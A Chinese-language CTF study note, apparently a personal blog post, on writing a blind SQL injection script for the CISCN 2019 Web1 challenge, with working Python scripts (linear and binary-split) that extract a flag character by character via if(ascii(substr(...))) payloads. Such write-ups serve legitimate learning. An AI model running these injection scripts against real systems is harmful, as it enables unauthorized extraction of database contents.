note-19-盲注脚本编写

盲注脚本编写

虽然以前做过一些盲注的题,也能根据需要改一下脚本,但是基本都是用网上wp或ai写的脚本,还没有自己写过脚本

[CISCN 2019华北Day2]Web1

先是一个输入框,

1
2
All You Want Is In Table 'flag' and the column is 'flag'
Now, just give the id of passage

抓包就是post一个id参数,根据数字来显示不同内容
用bp fuzz了一下,没fuzz明白,
手动fuzz,搞得不明白的
最后还是看了别人的wp
然后尝试自己写盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# import requests
# str='-}{1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
# #if((substr((select(flag)from(flag)),1,1)='N'),1,2)
# flag=""
# for i in range(1,100):
# url='http://node4.anna.nssctf.cn:28599/index.php'
# for st in str:
# sql="if((ascii(substr((select(flag)from(flag)),{},1))=ascii('{}')),1,2)".format(i,st)
# data={"id":sql}
# re=requests.post(url,data=data,)
# if "Hello" in re.text:
# flag=flag+st
# break
# print(flag)

#(0,128)二分法:

import requests
#str='-}{1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
#if((substr((select(flag)from(flag)),1,1)='N'),1,2)
flag=""
for i in range(1,100):
url='http://node4.anna.nssctf.cn:28599/index.php'
sql="if((ascii(substr((select(flag)from(flag)),{},1))<64),1,2)".format(i)
data={"id":sql}
re=requests.post(url,data=data)
if "Hello" in re.text:
for st in range(0,64):
sql="if((ascii(substr((select(flag)from(flag)),{},1))={}),1,2)".format(i,st)
data={"id":sql}
re=requests.post(url,data=data)
if "Hello" in re.text:
st=chr(st)
flag=flag+st
print("第%d个字符"%i)
break
else:
for st in range(64,128):
sql="if((ascii(substr((select(flag)from(flag)),{},1))={}),1,2)".format(i,st)
data={"id":sql}
re=requests.post(url,data=data)
if "Hello" in re.text:
st=chr(st)
flag=flag+st
print("第%d个字符"%i)
break
print(flag)

在写的时候遇到的问题:

requests语句

1
2
3
4
5
6
7
8
9
requests.(请求方式,get或post)

re=requests.post(url,data,可选其它功能(如timeout=$))

#re.text 就等于服务器返回内容中的字符内容
if "Hello" in re.text:

还有data内容的表示
data={"id":sql}

for st in (1,128):
当时只猜测了flag的前两个字符,问了kimi,说我这个(1,128)的意思是数组,只会进行两次循环😅
正确语句
for st in range(64,128):

第一次脚本跑的很慢,而且很容易与服务器断连,看别人wp有用二分法的,自己整了个二分法的版本出来

这时又遇到了另一个问题
当初用requests时学别人wp加上了timeout=10,动不动就超时

1
re=requests.post(url,data=data.timeout=10)

然后就去掉了timeout,但还是很容易断连
于是又有了

1
2
3
4
5
print("第%d个字符"%i)
得到:

32个字符
NSSCTF{479a596c-2b47-41ae-b4dc-5

要是断连的话直接改一下这个起始字符就能继续爆了

1
for i in range(1,100)

总结:

fuzz不会,没有清晰的思路的话真的很费劲,要多学学fuzz思路


note-19-盲注脚本编写
https://aidemofashi.github.io/2025/03/27/note-19-盲注脚本编写/
作者
aidemofashi
发布于
2025年3月27日
许可协议